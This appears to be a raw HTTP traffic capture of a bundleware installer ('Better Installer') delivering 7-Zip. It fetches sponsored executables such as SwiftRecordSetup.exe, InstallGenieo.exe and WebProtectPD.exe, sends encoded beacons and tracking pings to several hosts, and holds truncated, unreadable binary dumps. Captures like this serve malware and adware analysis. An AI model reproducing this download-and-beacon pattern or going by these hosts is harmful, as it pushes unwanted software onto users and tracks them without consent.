5!.(:..!<.n.......)...R.S..IFu..r$PoWIA.2....{..#.W...8`... ..u..*W
.....FL..*.'.....P.<.O.c.$.@6{..E.[[email protected]=o.........m.G.9...P./N
....C{.5...;.(....y.s....;Y.q..rgw9.L..[..X..L.( '".y*...#....FI/.....
.,...%.my$...K....[.R.]...2........p...=.[.d.$U!.Y.....L.I....k...../N
.EFS..]K.c.Q5.Wkp...;..)pvTBMl...)4.o^...C.XbtQ.v4....4........1.....k
4L.~mO...P|&.c.6.....q.I[..a..#..L=..e..:.|Iv........L.....5.5 cn2.}.Q
[email protected]..... ........3.M!.9.. .x.!..r....:...::.~=..4...E.>,......
...c...u....R8N..m.....;t..c......%..dN.%.X.S.G..r........5.1aIG@...\ 
{=.9,1^[email protected]... .]..O..q...H..h1.....[....#.r
.-. .A.8.u...Aq....x..Y.H.7G&G...V..h..&Q?.m.;.N...y.......f....c..0..
..UO?....H.O[Ox.6.. T.S.......i1....\.8.....4/...<..#.L.f/..a.4.K}.
.3lE.?\..y.?t......v..<'N[..H..%....>..L...3.......O...W./..?~h.
..G...o.cg .ne..3..q.!..A7. Mm(.^..h.. ..........4U...<K......}Y..|
o|]H.j9.0.4..y....6$.(..L..=UiE.?.......f-../...sOV.J.d....r.=x....k6)
b..!...N..-.CuB.........AM..?..r...)[email protected].$>........../`H.d..!
..3)....8{YqCj~..t.~S...V:T.,.G.......[%..2..p(.......RU...L..cN......
....].....!.LD...|..:..-............f}.n.J.P.f.&..4))..%f..7...^..@...
.~qh.#....X.[...Z.,p......3-N...z.E~...4...]...R&.U3...@..._=..4...]%.
W.Jp...J...$.>"&.YB.......Z.FS.$.k..tm..W...8....|j..7..........^s.
..vK.u/..p.I;.V.^X....:..w&y....m."]]~t.. ..Q..d9.XP...........M......
.-..o..V.....K..)K...eC.Z...^...h......U.r.1.,b`.i.....n0<..@E.
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:25:07 GMT
Date: Thu, 30 Apr 2015 09:25:07 GMT
Content-Range: bytes 0-523255/523256
Content-Length: 523256
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. ...............................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
[email protected]..<.....W..?....;.tBj\V
. [email protected]...|p@[email protected]:.u.9].t.j.
.....Wh.0G...C..W..tp@..^...j..0...S.....P..F...5...j......j........j.
[email protected]][email protected]....
..E.PWh. [email protected]#.E.;.v%8.t!V..F..;.t...,P.u...C.....E.......9]..
.....h. [email protected]. [email protected]
[email protected].~B....h.0G.V.qB..P.^
=..P..B..V..D...P.@..}..|1V.IE..3.;.t..M....QP..`[email protected].........#
<<< skipped >>>


GET /27164.ashx?e=avvs8glXF/ynb5JQEhhcuNLznKmg4M9JQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMahdcSNOq4JV1xRkC1S3KQ32AqR2XPWVGhv0BJaho5/afQlB3kfGAhd7KfjViNnCJbBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:53 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:24:53 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


GET /27164.ashx?e=c2mW1WEUbCGQVExL/6LI8D2S/voHNL3Y1VMaOJFqXYpm5LT87ehXaouB5vT09TkZPjLUR1sqzj3fFDEx7p39heZkF1/HCKmEvlcum0nVhgGnsJk52TNevbiKIFo3W8f23Wq7IsWCDz4EGVrUzn4iLNaoPZj94HyTT3FsALGJiApIj GXdVcREtCUHeR8YCF3xzZQYVq/ZZusvNkHARych5LYVlLaQ3XGR2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQ91YLfuzI3pHtMBal4vBGNCK5k8M9soKVuYS5UmoA pcueCh2dpFUQYwukK5SKFU HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:54 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:24:54 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


GET /27164.ashx?e=s0jsdppK9OuQVExL/6LI8IwRAVqD4pvV1VMaOJFqXYpm5LT87ehXaouB5vT09TkZPjLUR1sqzj3fFDEx7p39heZkF1/HCKmEvlcum0nVhgGnsJk52TNevbiKIFo3W8f23Wq7IsWCDz4EGVrUzn4iLO K9V0GRRESXeFaoUgIZNgjlVbxwk2 SY4G r 3F6T7LD20kz8IksEB9SrNLCYuRKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRD3Vgt 7Mjeke0wFqXi8EY0IrmTwz2ygpW5hLlSagD6ly54KHZ2kVRBjC6QrlIoVQ= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:54 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:24:54 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: s73pBALscY/wJFcH jK4Rry8vgoet6M2LMLm2a2ceEu7gBATOn2dLzI3FoQ q9iog3I9kCp1WL0=
x-amz-request-id: 578CAE7ED322E1B0
Date: Thu, 30 Apr 2015 09:27:20 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Type: application/octet-stream
Content-Length: 988408
Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:27:18 GMT
Date: Thu, 30 Apr 2015 09:27:18 GMT
Content-Range: bytes 0-523255/523256
Content-Length: 523256
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. ...............................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Content-Length: 523256
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:27:17 GMT
Date: Thu, 30 Apr 2015 09:27:17 GMT
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. ...............................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}..;.tBj\V. ?
[email protected]...|p@[email protected]:.u.9].t.j....
..Wh.0G...C..W..tp@..^...j..0...S.....P..F...5...j......j........j....
[email protected]][email protected]
.PWh. [email protected]#.E.;.v%8.t!V..F..;.t...,P.u...C.....E.......9].....
..h. [email protected]. [email protected]..
[email protected].~B....h.0G.V.qB..P.^=..
P..B..V..D...P.@..}..|1V.IE..3.;.t..M....QP..`[email protected].........#...
<<< skipped >>>


GET /4475.ashx?e=Feo0TQZfu6KMgv8CEawhJiZzmvE Kfh2SzoqkNp86bX8ln8Iap23/wrmOSgIBLqiUA7dl9owwhLbr7OVwz8YTq8pe8qX5YL00cJg/3mzqkz7KK1WAHRDbqQmaO4BxLEPFjCwIjKziMWX1FtTkCv6XI0utKFfGtX02OmSk44xZ7fUh 3ZGDmdW5pZis9f nTdGT OLwKV822Ojv4aucAQOPP8mddpznAdPBRT/3/QFX6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUujDtCPA991ZulCrZfCuwzSrrsQ5xaYBAZkqF79EEGZJp27RjISX6Na HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:12 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:25:12 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 72922
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Age: 3332
X-Cache: Hit from cloudfront
Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: iU9_gdHmVgH91u6j-9r7yG4WJWb0pUEEvy8NgLE7cdU2s1hJhm4d9A==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s.......... B........
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...`[email protected]... B.......D...v
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhhrE10BUs2OqNBLZ9KgzPNA== HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp2.globalsign.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:26:38 GMT
Content-Type: application/ocsp-response
Content-Length: 1474
Connection: keep-alive
Set-Cookie: __cfduid=d948ac46d7c64eac7befc9a0b71efc9b21430385998; expires=Fri, 29-Apr-16 09:26:38 GMT; path=/; domain=.globalsign.com; HttpOnly
X-Powered-By: Servlet/3.0; JBossAS-6
ETag: 5f1aaa81efde2669916c58bcc106cc8eb1909ef6
Expires: Thu, 30 Apr 2015 14:53:08 GMT
Last-Modified: Thu, 30 Apr 2015 02:53:08 GMT
Cache-Control: max-age=180, public, no-transform, must-revalidate
CF-Cache-Status: HIT
Server: cloudflare-nginx
CF-RAY: 1df234c785c715dd-FRA
0..........0..... .....0......0...0......6.K....Z....a.B&Y.....2015043
0025308Z0u0s0K0... ........k..vY.d..X.R*.....C....n......>..t]..../
Pz...!..5..,.....}*..4....20150430025308Z....20150430145308Z0...*.H...
.........\.....-......(u.......~.^,.%..).....G.v..a".EN.y.t.o.r...e..H
`..bS..VYGq....y.6..m.`..$.Bc.7ty...........z...y{A..I.H...l... ..M..\
3.Ne...h......WU.....-.......Q..qf...H.zt).Xkt..x.......Or.e.8..."B...
3=.v....?\.y..i:I....I..t..#d....R.~H.(..a.Mu?U. .Ys.X....0...0...0...
........!:.D.....3...7..(0...*.H........0Q1.0...U....BE1.0...U....Glob
alSign nv-sa1'0%..U....GlobalSign CodeSigning CA - G20...150303092435Z
..150603082435Z0}1.0...U....BE1.0...U....GlobalSign nv-sa1:08..U...1Gl
obalSign CodeSigning CA - G2 OCSP responder - 21.0...U....201503031024
000.."0...*.H.............0...........z..N#.)I{6&_.f.. ..*.-W....Z....
."......(.u:..9...ET...}.._Z.sr);:.....~.t..&4.~....d....- ...p{..7.E}
......:C.. R../.J.w...Q.-.c....Y!.r:.."..X...V............&&z,K..Z...s
g.PN.:C.....0f...o..(..w.s.6..%.}.ktU..HmK........!1hy`..(.w.`a......=
s..,cYt6).-........0..0...U....0.0...U...........0...U.%..0... .......
0... .....0......0...U......6.K....Z....a.B&Y...0...U.#..0....n......&
gt;..t]..../Pz0...*.H..............."...Y...f.=...d..........Q.n.S....
.=..5[.F..F..=*.S..;....6.j...VNR|#.h.=..' ..T..PD.J.......k....3..h..
..s...y.'.?....m...k.....V.^..uynl....6....<.[....x..#.Q..9.P%s)-.I
...m.?.j*.2..?;.P..X7w.........$.*.t.....5.p....4U.....R..Dc..q....'.e
#uA*.FG].xz~...
<<< skipped >>>


GET /27164.ashx?e=2fVCHF6kf8gQ0V45w4Sc0advklASGFy412OKhacftHRAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn7bUA4teUDtB1JJpRAUOpYSeY/e3xqcYNwxDViRVDOC1YXcJcN2x8HAjq1U t1gQfOJGi8wh2qItjgb6v7cXpPt/0XcjoL3VJQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcSwMKk0YNBDNHuPeAOMOoWr/iAwI6x/7 dWWBJOHNraqsEWqUszzacWNtIkZZ3YKA9A== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:04 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=1125538-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 160791
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 17 Apr 2015 07:56:30 GMT
Content-Range: bytes 1125538-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)
X-Amz-Cf-Id: cOq5sLz8zNXXRxmi65TpezsKE24z6ojXjbB2yakH4hRb-YiwLSNaVw==
.M.......3...?../....d..L:.M..6Jbl3...@....|\.V..I.=..q....Y6...|..?..
I.z.i.H.'.%....t\..{:4CK...e..Va.S3.2.......R.........l.?...p.\.M.?...
e1...V.....Sw..4GWU.y.....*O}"HSj.i.D../S.....z.n.>.`:...y.........
...h..D!.R../V.*&..?2B.G../F..6H...^yt...I...;!.......DN.....E6..!....
g.S.?.!}G.. .*..O...:..(-w. ._q.T.w...T.PZ..b..e0.AG..X.8..|.{a...n...
....c.V.Y....T..x.....6V.............)...S.$..%..y.'.........t..NN...,
....._.>8..In.....2.....Ey.Y5..a.`Q.....<....n0.XA.....^.?8PI...
~.D...yE..2.&q..T......t........}..R...O.P....Y....5..S.L..I...../....
8k....*tx.w.`...E.....B.v/.......]%X.h.j.....o.2...D...(>7a.....9..
.Y...iH.f.....r.5"V..B.9x.vPh..Z.;.......y.,}.:.:.>..[..#9KA..'.W..
./....Iw.9.......k.o..d....R...t..yM{.............../h...A.........9..
...-.5..X.W,z.../u0. ..6..#nv.wK......k}.....BB?mC...f..a.O.B^....W.Q.
f.R...M7.....I`W.R..|v|....{...........L6.6.w....5L9 ..#1.5=c...K..x~/
..o..V...1.....^....Zr../@...; `....D...'..6"[email protected].>
;.Cg|....N.h~X..F..4........D.&.....N..o.. .`...;.q8U2%.6...tT.e...D.q
..=.\[email protected]*.\M&..-K#..<1..;.f..F...U..
[.`.....i.Wap.O..W.a.r?..E..x [email protected]..........:$GH.n...........e
W.....4>.........e..L.S)..:.s0.VwkI..~..u;..,.........)v{...i...@..
F.7Y(...........*....O..w.|..L..9............o.s..a..F.HO.%.....1..w..
...ul.....3..N......U..8......%.........y...|*.f......jk..V.?a.$.....V
..3_...A&..D. .%..[@..I..E*......>q..2.{i...,...n...F.5.a.H..7R...X
.0G..!..q.!.V.W.....FF.x...x..........6a)..X...V"....Vv..3...K'o.&
<<< skipped >>>


GET /pin.gif?e=start&s=9813&i=AA41FBD0-8410-4810-8C3A-4B4E97AEB741&adv=&v=5.1.0.45 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: stat.webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:26:54 GMT
Content-Type: image/gif
Content-Length: 34
Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT
Connection: keep-alive
ETag: "54bfc526-22"
Accept-Ranges: bytes
GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Thu, 30 Apr 2015 09:26:54 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;....


GET /pin.gif?e=installer&s=9813&i=AA41FBD0-8410-4810-8C3A-4B4E97AEB741&adv=&v=5.1.0.45 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: stat.webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:27:02 GMT
Content-Type: image/gif
Content-Length: 34
Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT
Connection: keep-alive
ETag: "54bfc526-22"
Accept-Ranges: bytes
GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Thu, 30 Apr 2015 09:27:02 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;..



GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=3&index_in_screen=1&index_in_session=3&display_height=195&0.4972198093695961 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.5.10.1430385829; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:26:16 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:26:16 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: dreejadsuld8c.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 26401
Connection: keep-alive
Server: nginx
Date: Wed, 29 Apr 2015 09:07:21 GMT
Last-Modified: Wed, 29 Apr 2015 08:47:22 GMT
ETag: "55409a9a-6721"
Expires: Wed, 29 Apr 2015 09:17:21 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
Age: 555
X-Cache: Hit from cloudfront
Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: h464ZDisEjKQVE9LKuslSd-CvzmwHnMVUCZm355DVaTHn_h8yZPJWA==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=277619-555238
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:27:22 GMT
Content-Type: application/octet-stream
Content-Length: 277620
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 277619-555238/1110476
.../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6..
.C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>...
...Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e
."T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|
X....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%............
........... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c
..ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..
f6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W.....
